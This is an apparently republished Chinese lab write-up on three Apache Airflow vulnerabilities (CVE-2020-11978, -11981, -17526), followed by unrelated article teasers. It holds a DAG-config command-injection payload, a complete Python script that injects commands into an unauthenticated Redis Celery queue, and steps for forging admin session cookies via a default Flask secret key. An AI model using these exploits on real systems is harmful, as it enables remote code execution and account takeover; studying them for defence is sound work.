目录

Apache Airflow是什么

CVE-2020-11978(Airflow 示例dag中的命令注入)

CVE-2020-11981(Airflow Celery消息中间件命令执行)

CVE-2020-17526(Airflow 默认密钥导致的权限绕过) 


Apache Airflow是什么

        Airflow是一个以编程方式编写,安排和监视工作流的平台。

使用Airflow将工作流编写任务的有向无环图(DAG),Airflow计划程序在遵循指定的依赖项,同时在一组工作线程上执行任务。丰富的命令使用程序使在DAG上执行复杂的调度变得轻而易举。可通过用户界面查看正在运行的管道,查看进度与排除故障。

CVE-2020-11978(Airflow 示例dag中的命令注入)

        漏洞成因:管理web页面里面示例dag存在命令注入。

版本要求:Airflow < 1.10.10

步骤1:访问Airflow管理页面,启动example_trigger_target_dag。

编辑Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},点击提交

命令注入后需等待工作流执行成功。

步骤2:执行成功后查看是否成功执行

CVE-2020-11981(Airflow Celery消息中间件命令执行)

        漏洞成因:利用中间件Celery自带的默认消息队列,在Redis里该list的默认队列名airflow.executors.celery_executor.execute_command,通过Redis未授权访问,写入命令到该任务。

版本要求:Apache Airflow < 1.10.10

Celery < 4.0

airflow.executors.celery_executor.execute_command是Apache Airflow中中间件Celery中关键的任务函数,功能是负责将任务分发给Celery worker节点执行,通过数组形式传递执行的命令及参数。

执行流程如下:

  • 接受命令和参数的数据作为输入[100,200],['touch','/tmp/file']
  • 通过Celery中间件(Redis/RabbitMQ)将任务序列化传输
  • Worker节点反序列化后调用系统接口执行命令

步骤1:该漏洞主要控制Redis未授权来将命令注入Celery中间件的任务队列中

利用脚本exploit_airflow_celery.py来完成操作

import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

 分析该脚本执行的操作:

  • 建立Redis连接,使用第一个参数作为连接地址
  • 定义原始字符串ori_str,该字符串是按celery元数据格式编写
  • 将原始字符串ori_str转换解析为字典格式,json.loads操作是将json字符串转换成Python中的字典对象
  • 建立命令数组command,这是关键部分,其中定义了要执行的命令
  • 建立了新的主题内容body,包含了主体body和其他参数,其他参数为空
  • 将新的body进行了base64编码并替换了原本task_dict中的body主体
  • 最后将制作好的task_dict序列化后推送到Redis的任务队列中

总结来说就是

  • 连接Redis
  • 修改celery的任务的内容
  • 重新推送任务,等待执行 

 安装Redis,运行脚本修改任务

步骤2:查看执行结果

 docker-compose logs  airflow-worker

看里面关键信息,在那个节点执行了该操作,这里是在容器2d569bda7480中

进去看

 成功执行

CVE-2020-17526(Airflow 默认密钥导致的权限绕过) 

        漏洞成因:默认无需密钥登录,但是管理员可以通过指定webserver.authenticate=Ture来开启认证。在版本1.10.13之前,即使开启密钥认证,也可以通过默认密钥来绕过登录,并且伪造任意用户身份。

版本要求:Apache Aieflow < 1.10.13

Airflow有一个基于Flask(基于Python编写的轻量级web框架)开发web应用程序,该web程序使用Flask的无状态签名cookie来储存和管理身份验证信息。在安装时可以使用Airflow创建用户,该用户是管理员身份。

使用了默认的静态安全密钥对用户身份验证信息进行了签名,导致安全配置错误。当用户登录时,会产生一个默认的cookie,该cookie的名称为session。其中包含json格式的用户认证信息。json中名为user_id的密钥标识了登录的用户身份。该json使用airflow.cfg配置文件中字符串进行签名,该字符串在1.10.15到2.0.2版本之前,这个字符串默认是temporary_key。

静态字符签名问题,在本地部署相同版本的airflow,以管理员身份登录抓包,然后将地址定向到被攻击主机,拥有管理员权限后,可以查看其他用户的json字符串,也就是身份验证信息,抓取拿到本地破解就可以登录任意用户了。

步骤1:先获取名为session的cookie

使用curl的-v选项会显示请求和响应头

步骤2:使用flask-unsign来破解签名使用的secret_key

flask-unsign 

  • -c选项,无论是加密,解密,修改都要通过该选项提供数据
  • -u,解密被加密的cookie
  • -s,指定签名操作,并且需要传递一个用于签名的secret_key

 步骤3:破解出secret_key后,冒用管理员身份制作一个新的session(这是客户端登录的cookie,只是名称叫session)

步骤4:替换生成的cookie,尝试登录

 成功登录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/907452.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/907452.shtml
英文地址,请注明出处:http://en.pswp.cn/news/907452.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python Cookbook】迭代器与生成器(四)

目录 案例 目录 案例 迭代器与生成器&#xff08;一&#xff09;1.手动遍历迭代器2.代理迭代3.使用生成器创建新的迭代模式4.实现迭代器协议迭代器与生成器&#xff08;三&#xff09;9.排列组合的迭代10.序列上索引值迭代11.同时迭代多个序列12.不同集合上元素的迭代迭代器与生…

React 播客专栏 Vol.16|useRef 和 useMemo 是干嘛的?

&#x1f44b; 欢迎回到《前端达人 React 播客书单》第 16 期&#xff08;正文内容为学习笔记摘要&#xff0c;音频内容是详细的解读&#xff0c;方便你理解&#xff09;&#xff0c;请点击下方收听 视频版 &#x1f399; 欢迎来到《前端达人 播客书单》第 16 期。 今天我们来…

漫谈英伟达GPU架构进化史:从Celsius到Blackwell

在英伟达官网,我们可以清晰地看到其从1999年Celsius到2024年Blackwell的20+代架构演进。这一历程犹如一部波澜壮阔的科技史诗,见证了英伟达在GPU领域的卓越创新与持续引领。 NVIDIA GPU架构变迁路线: 年份 NV GPU架构变迁 2025 Blackwell 2.0 2024 Blackwell 2023-2024 Hopp…

车载通信网络 --- CAN FD与CAN XL

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 做到欲望极简,了解自己的真实欲望,不受外在潮流的影响,不盲从,不跟风。把自己的精力全部用在自己。一是去掉多余,凡事找规律,基础是诚信;二是…

DM达梦数据库开启SQL日志记录功能

DM达梦数据库开启SQL日志记录功能 配置SQL日志&#xff08;非必须的配置步骤&#xff0c;与主备集群配置无关&#xff0c;如果没有需求可以跳过配置SQL日志&#xff09; sqllog.ini 配置文件用于SQL日志的配置&#xff0c;当且仅当 INI&#xff08;dm.ini&#xff09; 参数 SV…

【HW系列】—C2远控服务器(webshell链接工具, metasploit、cobaltstrike)的漏洞特征流量特征

文章目录 蚁剑、冰蝎、哥斯拉一、蚁剑&#xff08;AntSword&#xff09;流量特征二、冰蝎&#xff08;Behinder&#xff09;流量特征三、哥斯拉&#xff08;Godzilla&#xff09;流量特征 metasploit、cobaltstrike一、Metasploit流量特征二、CobaltStrike流量特征三、检测与防…

手机平板等设备租赁行业MDM方案解析

目录 引言&#xff1a;MDM 在租赁行业的重要性日益凸显 用户场景&#xff1a;租赁公司面临的主要挑战 1. 设备丢失、逾期未还 2. 手动配置和恢复效率低 3. 非授权使用频繁 4. 时区设置混乱影响运维 5. 缺乏实时监管能力 EasyControl MDM&#xff1a;租赁设备的远程管控…

前端面试核心考点全解析

前端面试常见问题及解析大纲 核心技术篇 HTML相关问题 1. HTML5新特性解析 语义化标签&#xff08;<header>、<section>等&#xff09;的作用与示例本地存储&#xff08;localStorage与sessionStorage&#xff09;的差异 localStorage.setItem(key, value); c…

Selenium 测试框架 - Kotlin

🚀Selenium Kotlin 实践指南:以百度搜索为例的完整测试示例 随着测试自动化的普及,Selenium 已成为 Web 自动化测试的事实标准,而 Kotlin 凭借其简洁语法和高安全性,越来越受到开发者欢迎。本指南将通过一个完整的实战案例——在百度中执行搜索操作,来展示如何使用 Sele…

vscode调试stm32,Cortex Debug的配置文件lanuch.json如何写,日志

https://blog.csdn.net/jiladahe1997/article/details/122046665 https://discuss.em-ide.com/blog/67-cortex-debug 第一版 {// 使用 IntelliSense 了解相关属性。 // 悬停以查看现有属性的描述。// 欲了解更多信息&#xff0c;请访问: https://go.microsoft.com/fwlink/?li…

反范式设计应用场景解析

反范式设计应用场景解析 1. 反范式设计核心概念 反范式设计是指为了特定性能优化目标,在数据库设计中故意违反关系数据库的范式规则(通常是第三范式或BC范式),通过引入冗余数据或合并表结构来提升查询效率的设计方法。 关键结论:反范式不是对范式理论的否定,而是在特定…

算法-js-子集

题&#xff1a;给你一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该数组所有可能的子集&#xff08;幂集&#xff09;。解集 不能 包含重复的子集。你可以按 任意顺序 返回解集。 方法一&#xff1a;迭代法 核心逻辑&#xff1a;动态扩展子集&#xff0c; 小规…

python里的NumPy算法

NumPy&#xff08;Numerical Python&#xff09;是 Python 中用于科学计算的基础库&#xff0c;提供了高性能的多维数组对象、矩阵运算以及大量数学函数库。其核心优势在于通过向量化操作替代传统循环&#xff0c;大幅提升计算效率&#xff0c;尤其适合处理大规模数据的算法实现…

HarmonyOS优化应用文件上传下载慢问题性能优化

一、概述 在开发应用时&#xff0c;客户端与服务器之间数据交换的效率取决于文件传输的性能。一个数据交换性能较低的应用会导致其在加载过程中耗费较长时间&#xff0c;在很多的场景造成页面卡顿&#xff0c;极大的影响了用户体验。相反&#xff0c;一个数据交换高效的应用&a…

64、【OS】【Nuttx】任务休眠与唤醒:clock_nanosleep

背景 之前的 blog 63、【OS】【Nuttx】任务休眠与唤醒&#xff1a;sleep 分析了任务休眠中的 sleep 函数&#xff0c;下面继续来分析下 sleep 函数中的核心功能 clock_nanosleep clock_nanosleep usleep 上篇 blog 分析了 sleep 函数&#xff0c;其核心功能封装到了 clock_…

【生产实践】华为存储XSG1在RHEL 7.x/8.x上的多路径配置操作手册(生产环境)

一、概述 本手册针对Red Hat Enterprise Linux 7.x/8.x系统与华为XSG1存储设备的多路径I/O&#xff08;MPIO&#xff09;配置&#xff0c;通过优化路径策略实现高可用、负载均衡及故障容错&#xff0c;适配华为存储硬件特性&#xff0c;满足生产环境需求。 二、参数解析与配置…

Unity开发之Webgl自动更新程序包

之前让客户端更新webgl程序是在程序里写版本号然后和服务器对比&#xff0c;不同就调用 window.location.reload(true);之前做的客户端都是给企业用&#xff0c;用户数少看不出来啥问题。后来自己开发一个小网站&#xff0c;用户数量还是挺多&#xff0c;然后就会遇到各种各样的…

一个开源脚本,可自动安装在 AMD Radeon 7900XTX 上运行选定 AI 接口所需的所有内容

​一、软件介绍 文末提供程序和源码下载 一个开源脚本&#xff0c;可自动安装在 AMD Radeon 7900XTX 上运行选定 AI 接口所需的所有内容。 二、ROCm-AI-Installer ROCm-AI-安装程序 一个开源脚本&#xff0c;可自动安装在 AMD Radeon 7900XTX 上运行选定 AI 接口所需的所有内…

【Axure结合Echarts绘制图表】

1.绘制一个矩形&#xff0c;用于之后存放图表&#xff0c;将其命名为test&#xff1a; 2.新建交互 -> 载入时 -> 打开链接&#xff1a; 3.链接到URL或文件路径&#xff1a; 4.点击fx&#xff1a; 5.输入&#xff1a; javascript: var script document.createEleme…

Relooking:损失权重λ 、梯度权重α、学习率η

一般多任务&#xff0c;大家都喜欢叠加很多损失&#xff0c;由此产生很多损失权重系数。此外&#xff0c;有的学者直接对梯度进行操作。咋一看&#xff0c;上面三个系数貌似重复多余&#xff0c;直接用其中一个系数代替不行吗&#xff1f;为此&#xff0c;回顾了下神经网络的前…